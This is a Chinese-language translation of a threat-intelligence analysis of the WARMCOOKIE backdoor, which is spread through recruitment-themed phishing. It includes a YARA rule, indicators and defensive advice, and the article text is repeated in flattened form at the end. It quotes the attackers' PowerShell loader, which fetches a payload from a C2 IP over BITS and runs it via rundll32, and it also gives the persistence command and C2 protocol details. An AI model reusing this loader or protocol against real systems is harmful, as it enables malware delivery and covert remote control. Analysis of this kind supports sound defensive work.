【翻译】以招聘为主题的网络钓鱼活动-WARMCOOKIE后门分析
字数 1669 2025-08-22 12:23:13

WARMCOOKIE后门分析与防御指南

概述

WARMCOOKIE是一种新型Windows后门程序,自2024年4月下旬以来被用于以招聘为主题的网络钓鱼活动(代号REF6127)。该后门主要用于受害者网络侦查和部署额外有效载荷,具有指纹识别、屏幕截图捕获和文件操作等功能。

感染链分析

初始攻击向量

  1. 钓鱼邮件:攻击者发送伪装成招聘公司的电子邮件,包含个人姓名和当前雇主信息
  2. 诱导点击:邮件中包含指向"职位描述"的恶意链接
  3. 着陆页面:受害者被重定向到看似合法的页面,要求通过验证码挑战下载文档

载荷投递

  1. JavaScript下载:通过验证后下载混淆的JavaScript文件(如Update_23_04_2024_5689382.js)
  2. PowerShell执行:JavaScript运行PowerShell脚本,利用BITS服务下载WARMCOOKIE后门
start-job { 
    param ( $a ) 
    Import-Module BitsTransfer ; 
    $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName() ; 
    Start-BitsTransfer -Source 'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35' -Destination $d ; 
    if () { exit } ; 
    $p = $d + ',Start' ; 
    rundll32.exe $p ; 
    Start-Sleep -Seconds 10 
} -Argument 0 | wait-job | Receive-Job

持久化机制

  1. 文件复制:将下载的DLL复制到C:\ProgramData\RtlUpd\RtlUpd.dll
  2. 计划任务:通过COM接口创建名为"RtlUpd"的计划任务,每10分钟运行一次
    • 执行命令:"C:\WINDOWS\system32\rundll32.exe" "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p

恶意软件功能分析

混淆技术

  1. 字符串加密:使用自定义RC4算法加密字符串

    • 前4字节:字符串大小
    • 接着4字节:RC4密钥
    • 剩余字节:加密字符串
  2. 动态API加载:避免静态分析识别核心功能

  3. 内存清理:使用后立即清除解密字符串

反分析技术

  1. 处理器检查

    • 处理器数量≥4且内存≥0xF00时继续执行
    • 处理器数量≥8时继续执行
    • 内存>0x2000时继续执行
  2. 变种标识:每个样本包含硬编码的GUID标识符

指纹收集

收集以下系统信息:

  • 卷序列号
  • DNS域名
  • 计算机名
  • 用户名

通信机制

  1. C2协议:通过HTTP与硬编码IP通信
  2. 加密方式:RC4+Base64组合
  3. 校验和:使用CRC32校验和验证数据完整性
    • 计算公式:
def calculate_checksum(str_input, str_len, i):
    if i == 0:
        i = 0xFFFFFFFF
    if i == -1:
        i = 0
    for idx in range(0, str_len, 2):
        v6 = str_input[idx] | (str_input[idx + 1] << 8)
        for _ in range(16):
            if (v6 ^ i) & 1:
                i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
            else:
                i = (i >> 1) & 0xFFFFFFFF
            v6 >>= 1
    return ~i & 0xFFFFFFFF
  1. 数据结构:使用自定义结构发送初始请求
enum request_type{
    REGISTRATION = 1,
    COMMAND = 2
};

struct os_info{
    int major_version;
    int minor_version;
    int build_number;
    int version_calc;
};

struct initial_request{
    int checksum_c2_message_data;
    int checksum_volume_mutex;
    int checksum_computer_name_username;
    request_type request_type;
    os_info os_ver;
    int offset_to_dns_domain;
    int size_base64_dns_domain;
    int offset_to_base64_computer_name;
    int size_base64_computer_name;
    int offset_to_base64_username;
    int size_base64_username;
    char base64_dns_domain[]; // 可变长度数组
    char base64_username[];  // 可变长度数组
    char base64_computer_name[]; // 可变长度数组
};

命令功能

命令ID 功能描述
1 获取受害者详细信息(IP地址、CPU信息)
2 捕获屏幕截图
3 通过注册表枚举已安装程序
4 命令行执行(cmd.exe /c)
5 写入文件
6 读取文件
10 删除计划任务持久化

检测与防御

YARA规则

rule Windows_Trojan_WarmCookie_7d32fa90 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-04-29"
        last_modified = "2024-05-08"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.WarmCookie"
        license = "Elastic License v2"
    strings:
        $seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
        $seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
        $seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
        $seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
        $plain_str1 = "release.dll" ascii fullword
        $plain_str2 = "\"Main Invoked.\"" ascii fullword
        $plain_str3 = "\"Main Returned.\"" ascii fullword
        $decrypt_str1 = "ERROR: Cannot write file" wide fullword
        $decrypt_str2 = "OK (No output data)" wide fullword
        $decrypt_str3 = "OK (See 'Files' tab)" wide fullword
        $decrypt_str4 = "cmd.exe /c %ls" wide fullword
        $decrypt_str5 = "Cookie:" wide fullword
        $decrypt_str6 = "%ls\\*.*" wide fullword
    condition:
        (3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
}

防御建议

  1. 预防措施

    • 监控可疑的PowerShell下载行为
    • 检测异常进程创建计划任务
    • 警惕通过Windows脚本执行的PowerShell
    • 监控通过BITS下载的DLL文件
    • 检测带有异常参数的RunDLL32/Regsvr32调用
  2. 检测指标

    • 文件路径:C:\ProgramData\RtlUpd\RtlUpd.dll
    • 计划任务名称:"RtlUpd"
    • C2服务器IP:185.49.69.41, 80.66.88.146
    • 钓鱼域名:assets.work-for[.]top, omeindia[.]com

MITRE ATT&CK映射

战术 技术
初始访问 网络钓鱼
执行 用户执行:恶意链接
命令和脚本解释器:PowerShell
防御规避 混淆文件或信息
侦查 系统信息发现
屏幕截图
命令与控制 计划任务/工作
非标准端口
渗透 数据压缩
通过命令和控制通道渗出

附录

IDA字符串解密工具

Elastic Security Labs提供了用于解密WARMCOOKIE字符串的IDAPython脚本,可帮助分析人员识别关键功能。

参考资源

  1. eSentire威胁情报报告
  2. Cryptolaemus Twitter分析
WARMCOOKIE后门分析与防御指南 概述 WARMCOOKIE是一种新型Windows后门程序,自2024年4月下旬以来被用于以招聘为主题的网络钓鱼活动(代号REF6127)。该后门主要用于受害者网络侦查和部署额外有效载荷,具有指纹识别、屏幕截图捕获和文件操作等功能。 感染链分析 初始攻击向量 钓鱼邮件 :攻击者发送伪装成招聘公司的电子邮件,包含个人姓名和当前雇主信息 诱导点击 :邮件中包含指向"职位描述"的恶意链接 着陆页面 :受害者被重定向到看似合法的页面,要求通过验证码挑战下载文档 载荷投递 JavaScript下载 :通过验证后下载混淆的JavaScript文件(如Update_ 23_ 04_ 2024_ 5689382.js) PowerShell执行 :JavaScript运行PowerShell脚本,利用BITS服务下载WARMCOOKIE后门 持久化机制 文件复制 :将下载的DLL复制到 C:\ProgramData\RtlUpd\RtlUpd.dll 计划任务 :通过COM接口创建名为"RtlUpd"的计划任务,每10分钟运行一次 执行命令: "C:\WINDOWS\system32\rundll32.exe" "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p 恶意软件功能分析 混淆技术 字符串加密 :使用自定义RC4算法加密字符串 前4字节:字符串大小 接着4字节:RC4密钥 剩余字节:加密字符串 动态API加载 :避免静态分析识别核心功能 内存清理 :使用后立即清除解密字符串 反分析技术 处理器检查 : 处理器数量≥4且内存≥0xF00时继续执行 处理器数量≥8时继续执行 内存>0x2000时继续执行 变种标识 :每个样本包含硬编码的GUID标识符 指纹收集 收集以下系统信息: 卷序列号 DNS域名 计算机名 用户名 通信机制 C2协议 :通过HTTP与硬编码IP通信 加密方式 :RC4+Base64组合 校验和 :使用CRC32校验和验证数据完整性 计算公式: 数据结构 :使用自定义结构发送初始请求 命令功能 | 命令ID | 功能描述 | |--------|----------| | 1 | 获取受害者详细信息(IP地址、CPU信息) | | 2 | 捕获屏幕截图 | | 3 | 通过注册表枚举已安装程序 | | 4 | 命令行执行(cmd.exe /c) | | 5 | 写入文件 | | 6 | 读取文件 | | 10 | 删除计划任务持久化 | 检测与防御 YARA规则 防御建议 预防措施 : 监控可疑的PowerShell下载行为 检测异常进程创建计划任务 警惕通过Windows脚本执行的PowerShell 监控通过BITS下载的DLL文件 检测带有异常参数的RunDLL32/Regsvr32调用 检测指标 : 文件路径: C:\ProgramData\RtlUpd\RtlUpd.dll 计划任务名称:"RtlUpd" C2服务器IP:185.49.69.41, 80.66.88.146 钓鱼域名:assets.work-for[ .]top, omeindia[ . ]com MITRE ATT&CK映射 | 战术 | 技术 | |------|------| | 初始访问 | 网络钓鱼 | | 执行 | 用户执行:恶意链接 命令和脚本解释器:PowerShell | | 防御规避 | 混淆文件或信息 | | 侦查 | 系统信息发现 屏幕截图 | | 命令与控制 | 计划任务/工作 非标准端口 | | 渗透 | 数据压缩 通过命令和控制通道渗出 | 附录 IDA字符串解密工具 Elastic Security Labs提供了用于解密WARMCOOKIE字符串的IDAPython脚本,可帮助分析人员识别关键功能。 参考资源 eSentire威胁情报报告 Cryptolaemus Twitter分析